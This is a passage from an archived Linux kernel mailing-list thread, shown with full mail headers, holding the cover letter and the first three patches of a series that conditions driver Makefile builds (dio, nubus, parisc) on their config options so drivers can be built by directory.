         l/NUocn6TWBxlqPuvqxceB+tPdA4sMxjKZJxD6sXDbo4kRJTL6lS7SiV8lVTIbeAFsQp
         wsiPVYCcu3Y1Gzirlj7g6plzjEp2vA5Qla8hbC2agjRAZnC4ysNjxYIj5Ep3OHsND5e8
         cs0+unkIR9cT4dHl0jVn005L9TQYpol7H7P6lLFCEZ3GJxeoNuwbgWft5ngpRbZUFGB6
         C6lw==
X-Gm-Message-State: ABuFfoigeXm2sYN6u7fakXZKjY00TOzPBB8X6FT5NXoVzL94eiVLF+Em
        2DtHhNdT35HHIRMiawYNcF0=
X-Google-Smtp-Source: ACcGV62XTM8qrwa4L5ysEjsTivaNjYbfy1mXX9wujsbB6osaFZD/xRJlOl8UjPTl2RfPWGEfbvUKHg==
X-Received: by 2002:a37:1b4b:: with SMTP id b72-v6mr10255424qkb.48.1538100513257;
        Thu, 27 Sep 2018 19:08:33 -0700 (PDT)
Original-Received: from localhost.localdomain ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id y138-v6sm731191qka.36.2018.09.27.19.08.27
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 27 Sep 2018 19:08:32 -0700 (PDT)
X-Mailer: git-send-email 2.19.0
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884416 gmane.linux.oprofile:13244 gmane.linux.ports.parisc:29047
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884416>

Special thanks for the feedback from:
- Finn Thain (I fixed the build problem)
- Geert Uytterhoeven (The cross compilers were very useful)
- Rolf Eike Beer (Was unintentional, thanks for the help!)

This Patchset changes some driver's Makefile to allow them building
using the command 'make drivers/DRIVERNAME', if compatible.

The changed drivers would return error if the above command was run
on them, after an x86 allyesconfig.

The main reason of this patchset is to allow building lists of
drivers looking for warnings and errors to be fixed.

I see this change as a new feature, not a bugfix. I understand
the default bahavior may be building with a simple 'make', but I
believe adding this new possibility will not be harmful.

My main objective is to allow developers with low processing power
to do changes in the kernel and look bugs using free services like
GiltabCI, before submitting to community.

If there is any interest helping/using this, I have a prototype in:
https://gitlab.com/LeoBras/linux-next


Leonardo Brás (7):
  drivers: dio: Avoids building driver if CONFIG_DIO is disabled
  drivers: nubus: Avoids building driver if CONFIG_NUBUS is disabled
  drivers: parisc: Avoids building driver if CONFIG_PARISC is disabled
  drivers: zorro: Avoids building proc.o if CONFIG_ZORRO is disabled
  drivers: s390: Avoids building drivers if ARCH is not s390.
  drivers: oprofile: Avoids building driver from direct make command
  drivers: hwtracing: Adds Makefile to enable building from directory.

 drivers/Makefile           | 4 +---
 drivers/dio/Makefile       | 2 +-
 drivers/hwtracing/Makefile | 3 +++
 drivers/nubus/Makefile     | 5 +++--
 drivers/oprofile/Makefile  | 1 +
 drivers/parisc/Makefile    | 2 +-
 drivers/s390/Makefile      | 8 ++++----
 drivers/zorro/Makefile     | 7 ++++---
 8 files changed, 18 insertions(+), 14 deletions(-)
 create mode 100644 drivers/hwtracing/Makefile
 create mode 100644 drivers/oprofile/Makefile

-- 
2.19.0



From - Thu Nov 08 21:42:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: =?UTF-8?q?Leonardo=20Br=C3=A1s?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v3 1/7] drivers: dio: Avoids building driver if CONFIG_DIO is disabled
Date: Thu, 27 Sep 2018 23:08:10 -0300
Lines: 22
Approved: news@gmane.org
Message-ID: <20180928020816.11251-2-leobras.c@gmail.com>
References: <20180928020816.11251-1-leobras.c@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538100398 24924 195.159.176.226 (28 Sep 2018 02:06:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 02:06:38 +0000 (UTC)
Cc: =?UTF-8?q?Leonardo=20Br=C3=A1s?= <leobras.c@gmail.com>,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 04:06:33 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5iAq-0006Og-Oq
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 04:06:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728822AbeI1IaC (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 04:30:02 -0400
Original-Received: from mail-qk1-f193.google.com ([209.85.222.193]:35360 "EHLO
        mail-qk1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728754AbeI1IaC (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 04:30:02 -0400
Original-Received: by mail-qk1-f193.google.com with SMTP id a189-v6so2948167qkb.2;
        Thu, 27 Sep 2018 19:08:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references
         :mime-version:content-transfer-encoding;
        bh=X4z7jPf+dvuu42+tYZqKX430fxhW5Xfzad8xEo8VLqg=;
        b=NaRv+wOampHpKQs9p+jTUC+GToyyQunFlt6ozkOJodovVjoeac/l7hkX/BRMv9QgH6
         RFDnLP+XRkufbkbEDgXUp4gGK2USZ2czpszE5RgajgbV/EYgKOoOuNnS4QffGcE8xTsG
         eQbxK6m4VxZv88uxP16vhn2gDmrm0CrkEkX6SblRQb0cXAMB0r2cke58PksUgYMXNZNN
         7vT8zqGqxXWevGhBOdakiiVrkJKOEhDehE31/+1MGZJbv3/NlWfXPzFjvcUv9MFDV88s
         bbwocghtGYrPNL2Cq4lzjbHqUFzzU1xQVbZbif6aZt4rYxy4+uCMuTcNmq5hWc1AeCls
         1qlQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references:mime-version:content-transfer-encoding;
        bh=X4z7jPf+dvuu42+tYZqKX430fxhW5Xfzad8xEo8VLqg=;
        b=njk2o4u1ddGS3CeRmKGB3D9kbK2lvvTWbVOdxbOzaOAVqEmClKmfy88bGVtjLuSdYO
         u+cxJH2pviNBrsmeubIZ/raHApNEk1WN1X6X8xBiSu4uPiFTegGfo3nsjWPINfL9oIak
         l/zNnP6Yhf0F0WiPpwNGsD7EyWShjy1vDRJxSzykW0AtbqsdTt0fnlLLcI6t7rfckhHU
         oDekpT8CJLBOsWqGbIoO1JRmQwdFyzWffgXr4TAB+mdYH6zO5MtDLWVlu3589hRgIks8
         o9+CDOeFHJ8jE3dRaKvDCRW1jymokbHWk0YF6QENXv/wOb7hlfdy6RhjyFdjAyFkOsAM
         bS4g==
X-Gm-Message-State: ABuFfojcKgPHlbkXJNugJDENdwu3u7wFNCDkhynOxtLHqL64z/ISjQpW
        tIXI/XKD8zL60JSABwOzYqs=
X-Google-Smtp-Source: ACcGV63d34VUnn0HRk8O+TyIF6tGHl9OrdvJwyFfNx/bXbBPtiyGD3WVuz73eDr+4rKxTXMAdvALag==
X-Received: by 2002:a37:411:: with SMTP id 17-v6mr3876805qke.68.1538100520497;
        Thu, 27 Sep 2018 19:08:40 -0700 (PDT)
Original-Received: from localhost.localdomain ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id y138-v6sm731191qka.36.2018.09.27.19.08.33
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 27 Sep 2018 19:08:39 -0700 (PDT)
X-Mailer: git-send-email 2.19.0
In-Reply-To: <20180928020816.11251-1-leobras.c@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884417 gmane.linux.oprofile:13245 gmane.linux.ports.parisc:29048
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884417>

Avoids building driver if 'make drivers/dio/' is called and
CONFIG_DIO is disabled.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/dio/Makefile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/dio/Makefile b/drivers/dio/Makefile
index ae92d17083f2..8fc80e805b90 100644
--- a/drivers/dio/Makefile
+++ b/drivers/dio/Makefile
@@ -2,4 +2,4 @@
 # Makefile for the linux kernel.
 #
 
-obj-y := dio.o dio-driver.o dio-sysfs.o
+obj-$(CONFIG_DIO) := dio.o dio-driver.o dio-sysfs.o
-- 
2.19.0



From - Thu Nov 08 21:42:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: =?UTF-8?q?Leonardo=20Br=C3=A1s?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v3 2/7] drivers: nubus: Avoids building driver if CONFIG_NUBUS is disabled
Date: Thu, 27 Sep 2018 23:08:11 -0300
Lines: 28
Approved: news@gmane.org
Message-ID: <20180928020816.11251-3-leobras.c@gmail.com>
References: <20180928020816.11251-1-leobras.c@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538100405 25459 195.159.176.226 (28 Sep 2018 02:06:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 02:06:45 +0000 (UTC)
Cc: =?UTF-8?q?Leonardo=20Br=C3=A1s?= <leobras.c@gmail.com>,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 04:06:40 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5iAx-0006UC-3X
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 04:06:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728868AbeI1IaI (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 04:30:08 -0400
Original-Received: from mail-qt1-f194.google.com ([209.85.160.194]:32978 "EHLO
        mail-qt1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728836AbeI1IaI (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 04:30:08 -0400
Original-Received: by mail-qt1-f194.google.com with SMTP id i10-v6so5095504qtp.0;
        Thu, 27 Sep 2018 19:08:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references
         :mime-version:content-transfer-encoding;
        bh=az4VG2kDleDEIQbELh7WthCOA8Gd6LhdwtP9/ZvOfHo=;
        b=Bkqw+5c1GtHiTVolD17G662qwMMLu6vxrmwWh2P/Y4hiwFVyI6Orsow3gGZSLhmxYT
         ExXKENpxj2kslGkCCzlpmfw7IUsaXWyb3pM8+M4pjuC4v4sLgE6uJeUN8yceffxhh+xm
         Z8IkyslRHX5r1oqcmZkOFGtQxMcu8YH6GDg+S3vWsIhGSWn6dS6DdAaSRhPsCwwfDt3n
         X6iwRvwqLJ8Ks/epNqXlqCDuf52wLG/+MkR/DftJgY9jYTrwXNwf8T4G1bgbV5YFe/U9
         F2QMfGNMAHjM5Kvn1Zdfp99FqZICXpM9WR1H3C+1YzgaEz+HVLUbSdpDP7+G4NbJ5KlA
         n0fw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references:mime-version:content-transfer-encoding;
        bh=az4VG2kDleDEIQbELh7WthCOA8Gd6LhdwtP9/ZvOfHo=;
        b=UjGAQZfFXRv/OgbpKpJ4+A5nNsrxKTD0ZcP1LMPTN4iso01feLaV8zX1iaEODyCOqG
         T4y0hlXjxKDAJBTEIo16fRoa0TmS1DcpJimH2o+7u+FXiJ/jWrr3qOAai2fRWDOtC4+w
         SU0HYTDZq9GphnthwtnRucUkyEUFTQ2ifOKhFsTG5KVEyZok55Etam5HXNe/bxzF9tsl
         GKMT/8ixGqLfkY/ZEXCJgpPu/WYwIphC1f937sThytjzxK1zL8NXXv4xs3nO10sPZPsa
         M3lG/OrUuzscJ3PyYbKNMXf8qYwoUdgGo3A52TO6pOMERJbNftXt/I6RC/EJ8uTaTH44
         QAdQ==
X-Gm-Message-State: ABuFfojdIFFDikLBvW+sywKnEFC/17Y7kkzGq4elRfmHK72xfPbvjG/5
        KmuI/w4SlBJKaOiNKTze1jzW/3i6
X-Google-Smtp-Source: ACcGV60JqKUvyyH5iwi4ShgSCQNQnWyYoYgDaS6HtK3L3Qd7vRwX82rXU/2sIVYulvbp6xibvDWRsg==
X-Received: by 2002:a0c:e083:: with SMTP id l3-v6mr3265594qvk.1.1538100526525;
        Thu, 27 Sep 2018 19:08:46 -0700 (PDT)
Original-Received: from localhost.localdomain ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id y138-v6sm731191qka.36.2018.09.27.19.08.40
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 27 Sep 2018 19:08:46 -0700 (PDT)
X-Mailer: git-send-email 2.19.0
In-Reply-To: <20180928020816.11251-1-leobras.c@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884418 gmane.linux.oprofile:13246 gmane.linux.ports.parisc:29049
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884418>

Avoids building driver if 'make drivers/nubus/' is called and
CONFIG_NUBUS is disabled.
Avoids building proc.o if CONFIG_PROC_FS is enabled but
CONFIG_NUBUS is disabled.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/nubus/Makefile | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/drivers/nubus/Makefile b/drivers/nubus/Makefile
index 6d063cde39d1..1daa51217e95 100644
--- a/drivers/nubus/Makefile
+++ b/drivers/nubus/Makefile
@@ -2,6 +2,7 @@
 # Makefile for the nubus specific drivers.
 #
 
-obj-y := nubus.o bus.o
+obj-$(CONFIG_NUBUS) := nubus_all.o
+nubus_all-y += bus.o nubus.o
 
-obj-$(CONFIG_PROC_FS) += proc.o
+nubus_all-$(CONFIG_PROC_FS) += proc.o
-- 
2.19.0



From - Thu Nov 08 21:42:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: =?UTF-8?q?Leonardo=20Br=C3=A1s?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v3 3/7] drivers: parisc: Avoids building driver if CONFIG_PARISC is disabled
Date: Thu, 27 Sep 2018 23:08:12 -0300
Lines: 23
Approved: news@gmane.org
Message-ID: <20180928020816.11251-4-leobras.c@gmail.com>
References: <20180928020816.11251-1-leobras.c@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538100411 25870 195.159.176.226 (28 Sep 2018 02:06:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 02:06:51 +0000 (UTC)
Cc: =?UTF-8?q?Leonardo=20Br=C3=A1s?= <leobras.c@gmail.com>,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 04:06:45 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5iB2-0006al-TG
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 04:06:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728883AbeI1IaO (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 04:30:14 -0400
Original-Received: from mail-qk1-f193.google.com ([209.85.222.193]:40159 "EHLO
        mail-qk1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728720AbeI1IaO (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 04:30:14 -0400
Original-Received: by mail-qk1-f193.google.com with SMTP id c126-v6so2925735qkd.7;
        Thu, 27 Sep 2018 19:08:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references
         :mime-version:content-transfer-encoding;
        bh=Ml1FFJEZov3NZzRMfIOgz+x2FcVyTrOzctjRuk6MfEU=;
        b=Xxe4wfc1pjms+V4Wh7sSOGixTWY62Hc5ILFnE6egN4xy1B34Nv9AZ0se50Qy1yN5T2
         Ra9Fu+mEJY51Ttq2Hq4g3fIEA7V9KWuJg6BoBppVgL45RihcNCIl0toX/DWeWkEPr7I4
         VRo13ugKRs2JNN+TNE1uwOTpRsY2qvdTqUzLgG8VJghg8kIThDOOS6zhJsiOJjNWa5//
         mo5XC+wPKRllMDPbj8L3SgZENVvA3VmKk8wlnKqogFVvVwqvrdkUU0n+QzNykd85fDWV
         /jyfZ5TGOehX9RdUBCeG27LEyMCKH9sQIE6Q0fHITe17vWcvAOy7EyBTiXRAttR04c0v
         7F4w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references:mime-version:content-transfer-encoding;
        bh=Ml1FFJEZov3NZzRMfIOgz+x2FcVyTrOzctjRuk6MfEU=;
        b=JnJ/axVEYdI3sZgARQqpOCwHui62oNOx0rSBd9gDhP5SJL5HgqsJoit0C/KNZnNm/Y
         iG6SXGFb3uviPvQ1vQwdyWysD2wWjAlX29ucIbQB4fagmL2U3Juxm0lz2gzcNSd1kWBH
         7wmoWvLTFYRt49ontvYcgu1RD1VHHuAH1GdONp46vNM0UNIA2Yyyz+yyGLFNGRQk4jnQ
         on7MtbcKijEKcd4ekEa6kYinquLs467R0oRAWAS/XH/fYedoJP5K3fD5c3Q/Z6+QivF0
         a/+IiS5gpUUAaj0MTTYEaAiDlDtb+GZJRpl4el573zGZNYXohYB3IZWFsDeQ9k0r9Ldw
         O9JQ==
X-Gm-Message-State: ABuFfogeW1/ll7boGn6PBMEW/azqFz7efeOP0ttZbLOl6AsNwkAgaftc
        coo5EjZI433vJ8mCBB8TmKk=
X-Google-Smtp-Source: ACcGV60t5s1FYvZ9OQp5nqj5w14/qiB6umyp/Lh9lGJzAOV2ktnWH7iJSuFbvXEISVkNU9bTyahJ0A==
X-Received: by 2002:a37:b101:: with SMTP id a1-v6mr10144828qkf.222.1538100532874;
        Thu, 27 Sep 2018 19:08:52 -0700 (PDT)
Original-Received: from localhost.localdomain ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id y138-v6sm731191qka.36.2018.09.27.19.08.46
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 27 Sep 2018 19:08:52 -0700 (PDT)
X-Mailer: git-send-email 2.19.0
In-Reply-To: <20180928020816.11251-1-leobras.c@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884419 gmane.linux.oprofile:13247 gmane.linux.ports.parisc:29050
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884419>

Avoids building driver if 'make drivers/parisc/' is called and
CONFIG_PARISC is disabled.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/parisc/Makefile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/Makefile b/drivers/parisc/Makefile
index 3cd5e6cb8478..80049d763aa0 100644
--- a/drivers/parisc/Makefile
+++ b/drivers/parisc/Makefile
@@ -24,5 +24,5 @@ obj-$(CONFIG_EISA)		+= eisa.o eisa_enumerator.o eisa_eeprom.o
 obj-$(CONFIG_SUPERIO)		+= superio.o
 obj-$(CONFIG_CHASSIS_LCD_LED)	+= led.o
 obj-$(CONFIG_PDC_STABLE)	+= pdc_stable.o
-obj-y				+= power.o
+obj-$(CONFIG_PARISC)		+= power.o
 
-- 
2.19.0



From - Thu Nov 08 21:42:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: =?UTF-8?q?Leonardo=20Br=C3=A1s?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v3 4/7] drivers: zorro: Avoids building proc.o if CONFIG_ZORRO is disabled
Date: Thu, 27 Sep 2018 23:08:13 -0300
Lines: 30
Approved: news@gmane.org
Message-ID: <20180928020816.11251-5-leobras.c@gmail.com>
References: <20180928020816.11251-1-leobras.c@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538100418 26257 195.159.176.226 (28 Sep 2018 02:06:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 02:06:58 +0000 (UTC)
Cc: =?UTF-8?q?Leonardo=20Br=C3=A1s?= <leobras.c@gmail.com>,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 04:06:52 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5iB9-0006jM-MR
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 04:06:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728902AbeI1IaV (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 04:30:21 -0400
Original-Received: from mail-qt1-f193.google.com ([209.85.160.193]:34119 "EHLO
        mail-qt1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728720AbeI1IaU (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 04:30:20 -0400
Original-Received: by mail-qt1-f193.google.com with SMTP id x23-v6so5084871qtr.1;
        Thu, 27 Sep 2018 19:08:59 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references
         :mime-version:content-transfer-encoding;
        bh=FnsE+PwbSYT7Ik4sfBLqTvLMfucbH50GCrBzd4xVqgg=;
        b=n/uSFHt6d+HCUETD/614yqwcizWwVLls342kxJhg7jvzKajBcriywXtRgekX3nkOLb
         ACtKZCqOmYCX47uywr+QcDecfTemGUKAeroLZlgV7T1iIZBGhbPCHwOenZyI6o7CHHBP
         2C5KTzrn6qnJLESQ5YDu5X9CSCDoPHytvHu/yIZBlsdgWaJSWSL8nxQS36jSjIPpuCbX
         QyMEK5kxb9LMPJB2vaRhr5xO2U9m3U9nBAQy9l8uCFHqpkDqu0C6a7qXk7rwIM7fP0o4
         iJupUc4+1P23OxonbcvIrioDXN+CAogQcOlNL9FpbzVR4b8DT7dIRzwWcKI+pqSj+68j
         JM6Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references:mime-version:content-transfer-encoding;
        bh=FnsE+PwbSYT7Ik4sfBLqTvLMfucbH50GCrBzd4xVqgg=;
        b=FywH483DofL75a8gTF55g7AlOwoXZGkHmhLulbbTs/bt+Z6w8ktqR8tO1UHjm/kpfD
         z7O7n8pvMuddJjl1h/d4t3ViI95SPKmHmpPneS+H2Oxn95AjiXIctrxGYq81/ZB+vh2y
         gGJlaK2W9aw7TQ6KNIYn9XzVCvAU7zkxBBkeCCfE0wSXHh/KE9gO7REEUimBFOltLCo8
         gDQpLA8x2APW7pQLIwJAFy+RiaHg1m0gyQiQnFqDTA6VvxvMr7u5FyJsIOQsJWsTH4xP
         RheJR1RPHINkLbbH2wZX6PAvrxcRkIJ6mLmoNnLjUW+auo7m4GXzgXwyiC01s6ep5P43
         tqiw==
X-Gm-Message-State: ABuFfoirkTkOkxv6laJ/zrJ0eHLUzQ/4NdBlQawlyWQRjGY85sdld/K0
        jT+oalOiq2i/FBxsnOc4NEc=
X-Google-Smtp-Source: ACcGV60ofa9o4GpIHIDU2Wr4VJFAxKzxYG+RRnI2evk5IX94glLjzmF1zMR8rul47F5Qndp/EGtMPg==
X-Received: by 2002:aed:20a3:: with SMTP id 32-v6mr10391742qtb.195.1538100539239;
        Thu, 27 Sep 2018 19:08:59 -0700 (PDT)
Original-Received: from localhost.localdomain ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id y138-v6sm731191qka.36.2018.09.27.19.08.53
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 27 Sep 2018 19:08:58 -0700 (PDT)
X-Mailer: git-send-email 2.19.0
In-Reply-To: <20180928020816.11251-1-leobras.c@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
